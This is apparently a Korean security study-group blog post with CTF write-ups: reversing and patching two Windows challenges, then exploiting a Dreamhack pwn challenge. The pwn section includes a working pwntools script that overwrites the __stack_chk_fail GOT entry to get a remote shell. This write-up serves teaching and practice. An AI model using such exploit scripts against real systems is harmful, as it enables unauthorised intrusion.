[CAUTION] ์Šคํ„ฐ๋”” - 12

7 ๋ถ„ ์†Œ์š”

๐Ÿ’ก Caution ์Šคํ„ฐ๋”” 12ํšŒ์ฐจ

์•”ํ˜ธํ•™ - 1

Pseudo7Roulette

๋ฆฌ๋ฒ„์‹ฑ - 1

rev-basic-4

image

Input ๋ฌธ์ž์—ด์„ ์ฐพ๋Š” ๋ฌธ์ œ์ด๋‹ค.

IDA๋กœ Input String์„ ์ฐพ์•„์„œ ๋ฌธ์ž์—ด์„ ๊ฒ€์ฆํ•˜๋Š” ๋ถ€๋ถ„์„ ์ฐพ๋Š”๋‹ค.

๋ฌธ์ž์—ด ๊ฒ€์ฆํ•˜๋Š” ๋ถ€๋ถ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

image

ํ•ด๋‹น ๋ถ€๋ถ„์˜ ๋กœ์ง์„ ๋ถ„์„ํ•˜๊ธฐ ์œ„ํ•ด์„œ ๊ฐ€์ƒ์˜ input์„ ํ†ตํ•ด์„œ ์–ด๋–ป๊ฒŒ ๊ณ„์‚ฐ๋˜๋Š”์ง€ ํ•ด๋ณธ๋‹ค.

๋งŒ์•ฝ [a1+i] ๊ฐ’์ด 8bit๋กœ abcd efgh ์ด๋ ‡๊ฒŒ ๋“ค์–ด์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๊ณ  ๊ณ„์‚ฐ์„ ํ•ด๋ณธ๋‹ค. ๊ฐ€์šด๋ฐ or(|)์„ ๊ธฐ์ค€์œผ๋กœ ์™ผ์ชฝ ์˜ค๋ฅธ์ชฝ์„ ๋‚˜๋ˆˆ๋‹ค.

๋จผ์ € ์™ผ์ชฝ ๋ถ€๋ถ„์˜ ์—ฐ์‚ฐ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค

16 * [a1+i] & 0xf0

์—ฐ์‚ฐ์ž ์šฐ์„ ์ˆœ์œ„์— ์˜ํ•ด์„œ 16* [a1+i] ๊ฐ€ ๋จผ์ € ๊ณ„์‚ฐ๋˜๊ณ , 0xf0๊ณผ and ๋น„ํŠธ์—ฐ์‚ฐ์ด ์ˆ˜ํ–‰๋œ๋‹ค.

16 * [a1 + i]       => efgh 0000
efgh 0000 & 0xf0    => efgh 0000

์˜ค๋ฅธ์ชฝ ๋ถ€๋ถ„์˜ ์—ฐ์‚ฐ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

abcd efgh >> 4      => 0000 abcd

๋‘๊ฐœ์˜ ๋น„ํŠธ๋ฅผ or ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•˜๋ฉด ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

efgh abcd

์›๋ž˜ ๋น„ํŠธ abcd efgh์™€ ๋น„๊ตํ•ด๋ณด๋ฉด ์™ผ์ชฝ 4๋น„ํŠธ์™€ ์˜ค๋ฅธ์ชฝ 4๋น„ํŠธ๊ฐ€ ์œ„์น˜๊ฐ€ ๋ฐ”๋€๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์ด ๊ฐ’์„ byte_140003000[i] ์™€ ๋น„๊ตํ•˜๊ณ  ์žˆ๊ณ  ํ•ด๋‹น ๊ฐ’์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

image

๋”ฐ๋ผ์„œ ์œ„์˜ ๋ฐฐ์—ด ๊ฐ’์„ ์ขŒ์šฐ ๋น„ํŠธ๋ฅผ 4๋น„ํŠธ์”ฉ ๋ฐ”๊พธ๋ฉด ์›๋ณธ ๋ฐ”์ดํŠธ๊ฐ’์„ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฝ”๋“œ๋กœ ์ž‘์„ฑํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

sol.py

arr = [0x24,0x27,0x13,0xc6,
       0xc6,0x13,0x16,0xe6,
       0x47,0xf5,0x26,0x96,
       0x47,0xf5,0x46,0x27,
       0x13,0x26,0x26,0xc6,
       0x56,0xf5,0xc3,0xc3,
       0xf5,0xe3,0xe3]

result = []

for i in arr:
    tmp = (i << 4) & 0xff | (i >> 4) & 0xff
    result.append(chr(tmp))

for i in result:
    print(i,end = '')

์‹คํ–‰ ๊ฒฐ๊ณผ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

image

image

๋ฆฌ๋ฒ„์‹ฑ - 2

patch

image

ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ด๋ฏธ์ง€๊ฐ€ ๋‚˜์˜จ๋‹ค.

image

์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•ด์„œ, ํ”Œ๋ž˜๊ทธ ๊ธ€์ž๋ฅผ ๊ฐ€๋ฆฌ๋Š” ๋ถ€๋ถ„์„ ์ฐพ์•„์•ผ ํ•œ๋‹ค.

ida

ida๋กœ ์‹คํ–‰ํ•ด๋ณด๋ฉด ๊ทธ๋ฆผ๊ณผ ๊ฐ™์ด ํ•จ์ˆ˜๊ฐ€ ๊ฝค ๋งŽ์ด ์žˆ๋‹ค.

image

ํ•˜๋‚˜ํ•˜๋‚˜ ์ „๋ถ€ ๋ถ„์„ํ•  ์ˆ˜๋Š” ์—†์œผ๋‹ˆ, ์–ด๋–ค ๋ถ€๋ถ„์„ ์ค‘์ ์ ์œผ๋กœ ๋ถ„์„ํ• ์ง€ ์ƒ๊ฐํ•ด๋ด์•ผ ํ•œ๋‹ค.

๋ฌธ์ œ์—์„œ ํžŒํŠธ๋กœ GDI+ ๊ด€๋ จ๋œ ๋‚ด์šฉ์„ ์ ์–ด๋†จ๊ธฐ ๋•Œ๋ฌธ์—, ์ด๋ฅผ ์ƒ๊ฐํ•˜๊ณ  ๋ช‡๊ฐœ์˜ ํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด GDI ๊ด€๋ จ ํ•จ์ˆ˜๊ฐ€ ์‚ฌ์šฉ ์ค‘์ธ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

image

๋จผ์ € sub_1400030a0 ํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

image

๋‚˜๋„ gdi ๊ด€๋ จ๋œ ํ”„๋กœ๊ทธ๋ž˜๋ฐ์„ ํ•ด๋ณธ์ ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— ์–ด๋–ค ์‹์œผ๋กœ ์ฝ”๋“œ๊ฐ€ ํ๋ฅด๋Š”์ง€๋Š” ๋ชจ๋ฅด์ง€๋งŒ, 36๋ฒˆ์งธ ์ค„์„ ๋ณด๋ฉด, GdiplusStartup ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์žˆ๋‹ค. ์ด๋ฆ„์œผ๋กœ๋ถ€ํ„ฐ ์œ ์ถ”๋ฅผ ํ•ด๋ณด๋ฉด ์ด ๋ถ€๋ถ„์—์„œ start๋ฅผ ํ•˜๊ณ  ์žˆ์œผ๋‹ˆ๊นŒ ์ด ์ง€์ ์„ ์‹œ์ž‘์œผ๋กœ ์ฝ”๋“œ๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ณด๋ฉด ์ถ”๊ฐ€์ ์œผ๋กœ ๊ทธ๋ฆผ์„ ๊ทธ๋ฆฌ๋Š” ์ฝ”๋“œ๋ฅผ ๋งŒ๋‚  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค.

ํ•˜์ง€๋งŒ, gdiplusstartupํ•จ์ˆ˜ ๋’ค์—์žˆ๋Š” ๋ถ€๋ถ„์„ ๋ด๋„ ๋”ฐ๋กœ ํ•จ์ˆ˜๋ฅผ callํ•˜๊ณ  ์žˆ์ง„ ์•Š์•„์„œ ๋‹ค์Œ์—” ์–ด๋””๋ฅผ ๋ถ„์„ํ•ด์•ผ ํ•  ์ง€ ๊ณ ๋ฏผํ•ด ๋ด์•ผ ํ•œ๋‹ค.

sub_1400030a0ํ•จ์ˆ˜ ์ด๋ฆ„์„ gdi_main ์œผ๋กœ ๋ฐ”๊พธ๊ณ  ๋‹ค๋ฅธ ํ•จ์ˆ˜๋“ค์„ ์ถ”๊ฐ€์ ์œผ๋กœ ๋ถ„์„ํ•ด ๋ณธ๋‹ค.

image

์œ„์˜ ํ•จ์ˆ˜ ๋ชฉ๋ก์„ ์ž˜ ๋ณด๋ฉด, ๋Œ€๋ถ€๋ถ„ ๊ฐ™์€ ํ˜•ํƒœ์˜ ๊ตฌ์กฐ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค.

์ž„์˜๋กœ 2๊ฐœ๋ฅผ ์„ ํƒํ•ด์„œ ๋น„๊ตํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

image

image

๊ทธ๋ƒฅ ๋˜‘๊ฐ™์ด ์ƒ๊ฒผ๊ณ , ํ•จ์ˆ˜๋“ค์˜ ์ด๋ฆ„์„ ๋ณด๋ฉด, gdip๊ด€๋ จ๋œ ํ•จ์ˆ˜์™€ GdipDrawLineI ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์•„ ๊ทธ๋ฆผ์„ ๊ทธ๋ฆฌ๋Š” ํ•จ์ˆ˜๋“ค ์ž…๋‹ˆ๋‹ค.

์ด ํ•จ์ˆ˜๋“ค์„ ์–ด๋””์—์„œ ํ˜ธ์ถœํ•˜๋Š”์ง€ ์ถ”์ ์„ ํ•ด๋ณด๋ฉด sub_140002C40 ํ•จ์ˆ˜๊ฐ€ ๋‚˜์˜จ๋‹ค. ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ๋ณด๋‹ˆ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ƒ๊ฒผ๋‹ค.

image

sub_140002B80 ํ•จ์ˆ˜๋ฅผ ์—ฌ๋Ÿฌ๋ฒˆ ํ˜ธ์ถœํ•˜๊ณ  ๊ทธ ์•„๋ž˜์—์„œ ์ถ”๊ฐ€์ ์ธ ํ•จ์ˆ˜๋“ค์„ ๋ถ€๋ฅด๊ณ  ์žˆ๋‹ค. ์ด ๋ถ€๋ถ„์ด ๊ทธ๋ฆผ์„ ๊ทธ๋ฆฌ๋Š” ์ฝ”๋“œ์ธ๊ฒƒ์ด ๋ช…ํ™•ํ•ด ๋ณด์ด๋‹ˆ ์ด์ œ ์–ด๋–ป๊ฒŒ ๋‹ต์„ ์•Œ์•„๋‚ผ ์ง€ ์ƒ๊ฐํ•ด๋ณด์ž.

  1. ์ •์  ๋ถ„์„ : ์ฝ”๋“œ์— ๋“ค์–ด๊ฐ„ ์ธ์ž ๊ฐ’๋“ค์ด ๋‹ค ์ฃผ์–ด์กŒ์œผ๋‹ˆ ํ•ด๋‹น ์ธ์ž๊ฐ’๋“ค์„ ๋‹ค ๊ธฐ๋กํ•œ ๋’ค ๋‹ค๋ฅธ ํ”„๋กœ๊ทธ๋žจ์—์„œ ์ง€์šฐ๋Š” ๋ถ€๋ถ„์„ ์•Œ์•„๋‚ด๊ณ  ํ•ด๋‹น ๋ถ€๋ถ„์„ ์ œ๊ฑฐํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ์•Œ์•„๋‚ธ๋‹ค.
  2. ๋™์  ๋ถ„์„ : ๋””๋ฒ„๊ฑฐ๋ฅผ ์—ฐ๊ฒฐํ•˜์—ฌ, ํŠน์ • ๋ถ€๋ถ„์—์„œ ์ฝ”๋“œ ํ๋ฆ„์„ ๋ฐ”๊ฟ”์„œ ๊ทธ๋ฆผ์„ ๋ฎ์–ด์“ฐ๋Š” ๋ถ€๋ถ„์„ ํ˜ธ์ถœํ•˜์ง€ ์•Š๋„๋ก ํ•œ๋‹ค.

1,2๋ฒˆ ๋‘๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ๊ฐ€๋Šฅํ•œ๋ฐ, ๋‚˜๋Š” ์ € ๋ถ€๋ถ„์„ ๋™์ผํ•˜๊ฒŒ ๊ตฌํ˜„ํ•  ์—„๋‘๊ฐ€ ์•ˆ๋‚˜์„œ ๋™์  ๋ถ„์„์œผ๋กœ ๋ฌธ์ œ๋ฅผ ํ’€์—ˆ๋‹ค.

x64dbg

x64dbg๋ฅผ ์ด์šฉํ•˜๋ฉด ์ฝ”๋“œ ์ค‘๊ฐ„๋ถ€๋ถ„์„ ๋ฐ”๊ฟ”์„œ ํŒจ์น˜๋ฅผ ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋จผ์ € ida์—์„œ ์ฐพ์€ ์—ฌ๋Ÿฌ ํ•จ์ˆ˜๋“ค์„ ํ˜ธ์ถœํ•˜๋Š” ๋ถ€๋ถ„์„ ์ฐพ์•„์•ผ ํ•œ๋‹ค.

ida์—์„œ๋Š” sub_140002C40์˜€๋Š”๋ฐ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๊ฐ€ 140002c40์ด๋ผ๋Š” ๋œป์ด๋‹ค. x64dbg๋กœ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹œ์ž‘ ์ฃผ์†Œ๊ฐ€ ๋‹ค๋ฅธ๋ฐ ์–ด์ฐจํ”ผ ์ฝ”๋“œ์ƒ์—์„œ๋Š” ์ƒ๋Œ€ ์ฃผ์†Œ๊ฐ€ ๊ฐ™์„ ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์— ์‹œ์ž‘์ฃผ์†Œ๋ฅผ ๋น„๊ตํ•ด์„œ ๊ทธ ์ฐจ์ด๋งŒํผ ๋”ํ•ด์ฃผ๋ฉด ๋  ๊ฒƒ์ด๋‹ค.

image

๋ณด๋ฉด xdbg๋„ ๋์— 4์ž๋ฆฌ๋งŒ ๋ณด๋ฉด ์‹œ์ž‘์ด 1000์ด๊ณ , ida๋„ ์‹œ์ž‘์ด 1000์ด๋‹ค. ๋”ฐ๋ผ์„œ sub_140002c40์€ xdbg์—์„œ๋„ ๋์ด 2c40์ด๋‹ค.

ํ•ด๋‹น ์ฃผ์†Œ๋กœ ์ ‘๊ทผํ•˜์—ฌ ๋ณด๋‹ˆ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ฐ˜๋ณต์ ์œผ๋กœ patch.7ff759d72b80ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์žˆ๋‹ค.

image

์ด์ œ ์ด ๋ถ€๋ถ„์„ ๋™์ž‘ํ•˜์ง€ ์•Š๋„๋ก ๋ฐ”๊ฟ”์ค„ ๊ฒƒ์ด๋‹ค.

์˜ˆ์ƒํ•˜๊ธฐ๋กœ๋Š” ๋™์ผํ•˜๊ฒŒ ํ˜ธ์ถœ๋˜๋Š” patch.7ff759d72b80 ํ•จ์ˆ˜๊ฐ€ ๊ทธ๋ฆผ์„ ๊ฐ€๋ฆฌ๋Š” ์ฝ”๋“œ๋ผ ์ƒ๊ฐ๋˜์„œ ์ด ๋ถ€๋ถ„๋“ค์„ ์ „๋ถ€ nop์œผ๋กœ ๋ฎ์–ด์จ์ค„ ๊ฒƒ์ด๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ฐ˜๋ณต์  ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ถ€๋ถ„์„ ๋ชจ๋‘ ์„ ํƒํ•œ ๋’ค, nop์œผ๋กœ ๋ฐ”๊ฟ”์ค€๋‹ค.

image

image

ํŒŒ์ผ ํŒจ์น˜๋ฅผ ๋ˆŒ๋Ÿฌ์„œ ๋ณ€๊ฒฝ๋œ ํ”„๋กœ๊ทธ๋žจ์„ ๋‹ค์‹œ ์ €์žฅํ•ด ์ค€๋‹ค.

image

์ €์žฅ๋œ ํ”„๋กœ๊ทธ๋žจ์„ ํ˜ธ์ถœํ•ด ์ฃผ๋ฉด ๋

image

์‹œ์Šคํ…œ - 1

ssp_000

์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

bof ์ทจ์•ฝ์ ์ด ์žˆ๋Š”๊ฑด ํ•œ๋ˆˆ์— ๋ณด์ด๋Š”๋ฐ, ์–ด๋–ป๊ฒŒ ๊ณต๊ฒฉ์„ ํ• ์ง€ ์ƒ๊ฐํ•ด ๋ณด๊ธฐ ์œ„ํ•ด์„œ ์Šคํƒ์„ ๋จผ์ € ๊ทธ๋ ค๋ณธ๋‹ค.

๋ฉ”์ธํ•จ์ˆ˜๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ”์„ ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€๋ฐ, ์Šคํƒ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ์ค‘์š”๋ถ€๋ถ„์€ ์ฃผ์„์œผ๋กœ ํ‘œ์‹œํ•ด ๋†จ๋‹ค.

gdb-peda$ disass main
Dump of assembler code for function main:
   0x00000000004008fb <+0>:	push   rbp
   0x00000000004008fc <+1>:	mov    rbp,rsp
   0x00000000004008ff <+4>:	sub    rsp,0x70
   0x0000000000400903 <+8>:	mov    DWORD PTR [rbp-0x64],edi
   0x0000000000400906 <+11>:	mov    QWORD PTR [rbp-0x70],rsi
   0x000000000040090a <+15>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400913 <+24>:	mov    QWORD PTR [rbp-0x8],rax  //canary ๋ฅผ rbp-8์— ์ €์žฅ
   0x0000000000400917 <+28>:	xor    eax,eax
   0x0000000000400919 <+30>:	lea    rdx,[rbp-0x50]
   0x000000000040091d <+34>:	mov    eax,0x0
   0x0000000000400922 <+39>:	mov    ecx,0x8
   0x0000000000400927 <+44>:	mov    rdi,rdx
   0x000000000040092a <+47>:	rep stos QWORD PTR es:[rdi],rax
   0x000000000040092d <+50>:	mov    eax,0x0
   0x0000000000400932 <+55>:	call   0x40088e <initialize>
   0x0000000000400937 <+60>:	lea    rax,[rbp-0x50]       // buf์˜ ์œ„์น˜๋Š” rbp-80
   0x000000000040093b <+64>:	mov    edx,0x80
   0x0000000000400940 <+69>:	mov    rsi,rax
   0x0000000000400943 <+72>:	mov    edi,0x0
   0x0000000000400948 <+77>:	call   0x400710 <read@plt>
   0x000000000040094d <+82>:	mov    edi,0x400a55
   0x0000000000400952 <+87>:	mov    eax,0x0
   0x0000000000400957 <+92>:	call   0x4006f0 <printf@plt>
   0x000000000040095c <+97>:	lea    rax,[rbp-0x60]     // value์˜ ์œ„์น˜๋Š” rbp-96
   0x0000000000400960 <+101>:	mov    rsi,rax
   0x0000000000400963 <+104>:	mov    edi,0x400a5d
   0x0000000000400968 <+109>:	mov    eax,0x0
   0x000000000040096d <+114>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400972 <+119>:	mov    edi,0x400a61
   0x0000000000400977 <+124>:	mov    eax,0x0
   0x000000000040097c <+129>:	call   0x4006f0 <printf@plt>
   0x0000000000400981 <+134>:	lea    rax,[rbp-0x58]       // addr์˜ ์œ„์น˜๋Š” rbp-88
   0x0000000000400985 <+138>:	mov    rsi,rax
   0x0000000000400988 <+141>:	mov    edi,0x400a5d
   0x000000000040098d <+146>:	mov    eax,0x0
   0x0000000000400992 <+151>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400997 <+156>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040099b <+160>:	mov    rdx,rax
   0x000000000040099e <+163>:	mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004009a2 <+167>:	mov    QWORD PTR [rdx],rax
   0x00000000004009a5 <+170>:	mov    eax,0x0
   0x00000000004009aa <+175>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009ae <+179>:	xor    rcx,QWORD PTR fs:0x28    // ๋ฉ”์ธํ•จ์ˆ˜๊ฐ€ ๋๋‚˜๊ธฐ์ „์— canary๊ฐ’์ด ๋ณ€ํ–ˆ๋Š”์ง€ ํ™•์ธ
   0x00000000004009b7 <+188>:	je     0x4009be <main+195>
   0x00000000004009b9 <+190>:	call   0x4006d0 <__stack_chk_fail@plt>    //๋ณ€ํ–ˆ์œผ๋ฉด, stack_chk_fail ํ•จ์ˆ˜ ํ˜ธ์ถœ
   0x00000000004009be <+195>:	leave  
   0x00000000004009bf <+196>:	ret    
End of assembler dump.

๊ทธ๋ฆผ์œผ๋กœ ํ‘œํ˜„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

image

ํ˜„์žฌ read์—์„œ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์„ ์ด 0x80byte๋ฅผ ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— ret์ฃผ์†Œ๊นŒ์ง€ ์ถฉ๋ถ„ํžˆ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ canary๊ฐ’์„ ์•Œ์•„๋‚ผ ๋ฐฉ๋ฒ•์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— ret์ฃผ์†Œ๋ฅผ ๋ฎ์œผ๋ฉด canary ๊ฒ€์‚ฌ๋กœ ํ”„๋กœ๊ทธ๋žจ์ด ์ข…๋ฃŒ๋œ๋‹ค.

์ด๋ฒˆ ๋ฌธ์ œ์—์„œ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์€ ๋‹ค์Œ ๋ถ€๋ถ„์ด๋‹ค.

*(long *)addr = value;

์œ„์˜ ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๋ฉด ์–ด๋–ป๊ฒŒ ๋˜๋Š”์ง€ ์ƒ๊ฐํ•ด๋ณด๋ฉด, addr ๋ณ€์ˆ˜์— ๋“ค์–ด์žˆ๋Š” ๊ฐ’์„ value๊ฐ’์œผ๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค.

์‚ฌ์šฉ์ž ์ž…๋ ฅ์œผ๋กœ addr, value๋ฅผ ๋ชจ๋‘ ๋ฐ›๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฒฐ๊ตญ ์–ด๋– ํ•œ ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฐ„์ด๋“  ์›ํ•˜๋Š” ๊ฐ’์œผ๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค.

์ด๋ฅผ ์ด์šฉํ•ด์„œ got๋ฅผ get_shell()ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ฐ”๊พธ๋ฉด ํŠน์ • ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋ ๋•Œ, get_shell()ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ ๋  ๊ฒƒ์ด๋‹ค.

๊ทธ๋Ÿฌ๋ฉด ์–ด๋– ํ•œ ํ•จ์ˆ˜์˜ got๋ฅผ ๋ฐ”๊ฟ”์•ผ ํ• ์ง€ ์ƒ๊ฐํ•ด๋ณด์ž.

*(long *)addr = value;

์œ„์˜ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋˜๊ณ  ๋‚œ ๋’ค, ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด๋‹ˆ ๋‹ค์Œ๊ณผ ๊ฐ™์ด stack_chk_fail ๋ฐ–์— ์—†๋‹ค.

// main ํ•จ์ˆ˜์˜ ๋””์Šค์–ด์…ˆ๋ธ”
   0x0000000000400997 <+156>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040099b <+160>:	mov    rdx,rax
   0x000000000040099e <+163>:	mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004009a2 <+167>:	mov    QWORD PTR [rdx],rax  // *(long *)addr = value; ์‹คํ–‰ ๋ถ€๋ถ„
   0x00000000004009a5 <+170>:	mov    eax,0x0
   0x00000000004009aa <+175>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009ae <+179>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004009b7 <+188>:	je     0x4009be <main+195>
   0x00000000004009b9 <+190>:	call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004009be <+195>:	leave  
   0x00000000004009bf <+196>:	ret    

๊ทธ๋Ÿฌ๋ฉด ์šฐ๋ฆฌ๋Š” ํ•ด๋‹น ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ์œ ๋„ํ•˜๊ณ , ํ•ด๋‹น ํ•จ์ˆ˜์˜ got๋ฅผ get_shell()ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ฐ”๊ฟ”์ฃผ๋ฉด ๋œ๋‹ค.

์ •๋ฆฌํ•˜๋ฉด ๋‹ค์Œ์˜ ์ ˆ์ฐจ๋กœ ์ต์Šคํ”Œ๋กœ์ž‡ ํ•œ๋‹ค.

  1. Buf์— bof ์ทจ์•ฝ์ ์œผ๋กœ canary๋ฅผ ์นจ๋ฒ”ํ•˜์—ฌ ๋‚˜์ค‘์— stack_chk_fail@pltํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜๋„๋ก ํ•œ๋‹ค.
  2. Addr ๋ณ€์ˆ˜์— stack_chk_fail์˜ got ์ฃผ์†Œ๋ฅผ, value ๋ณ€์ˆ˜์— get_shell()์˜ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•˜์—ฌ *Addr = value ๊ฐ€ ์‹คํ–‰๋˜๋ฉด stack_chk_fail์˜ got๋ฅผ get_shell() ์ฃผ์†Œ๋กœ ๋ฎ์–ด์“ฐ๋„๋ก ํ•œ๋‹ค.
  3. Canary ๊ฐ’์˜ ๋ณ€๊ฒฝ์ด ํ™•์ธ๋˜์–ด stack_chk_fail@plt๊ฐ€ ์‹คํ–‰๋˜๋ฉด get_shell()ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๊ฒŒ ๋˜์–ด shell์„ ํš๋“ํ•œ๋‹ค.

์ž‘์„ฑํ•œ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

ex.py

from pwn import *

#p = process("./ssp_000")
p = remote("host1.dreamhack.games",10835)
e = ELF("./ssp_000")

got_addr = e.got['__stack_chk_fail']
get_shell_addr = 4196586 

p.sendline(b'A'*73) #canary word๋ฅผ ์นจ๋ฒ”
p.recvuntil("Addr : ")

# Addr = got of __stack_chk_fail
p.sendline(str(got_addr).encode()) #stack_chk_fail์˜ got

p.recvuntil("Value : ")
p.sendline(str(get_shell_addr).encode())  # get_shell()์˜ ์ฃผ์†Œ

p.interactive()

image

์‹œ์Šคํ…œ - 2

random

#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

์ด๋ฒˆ ๋ฌธ์ œ๋Š” rand()ํ•จ์ˆ˜์— ๋Œ€ํ•ด ์•Œ๊ณ  ์žˆ์œผ๋ฉด ์‰ฌ์šด ๋ฌธ์ œ์ด๋‹ค.

rand()ํ•จ์ˆ˜๋Š” ๋žœ๋ค๊ฐ’์„ ์ƒ์„ฑํ•ด ์ฃผ๋Š” ํ•จ์ˆ˜์ธ๋ฐ, seed๊ฐ’์„ ์ฃผ์ง€ ์•Š๋Š”๋‹ค.

์ด ๋ง์€ ๋žœ๋ค ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ ํ–ˆ์„ ๋•Œ, ์ฒซ ๋ฒˆ์งธ, ๋‘ ๋ฒˆ์งธ, ์„ธ ๋ฒˆ์งธ, โ€ฆ ๊ทธ ์ดํ›„ ๊ฐ’๋“ค์€ ๋žœ๋คํ•˜๊ฒŒ ๋‚˜์˜ค๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๋‚˜.. rand()ํ•จ์ˆ˜๋ฅผ ๋™์ผํ•˜๊ฒŒ ๋‹ค์‹œ ์‹œ์ž‘ํ•˜๋ฉด ์ฒซ ๋ฒˆ์งธ, ๋‘ ๋ฒˆ์งธ, ์„ธ ๋ฒˆ์งธ ๊ฐ’์ด ๊ฐ™๊ฒŒ ๋‚˜์˜จ๋‹ค. ๋‹ค์Œ ์‹คํ–‰ํ™”๋ฉด์„ ๋ณด๋ฉด ์ดํ•ดํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค.

rand.c

#include <stdio.h>

int main(){
	printf("%d\n",rand());
	printf("%d\n",rand());
	printf("%d\n",rand());
	printf("%d\n",rand());
	printf("%d\n",rand());
}

image

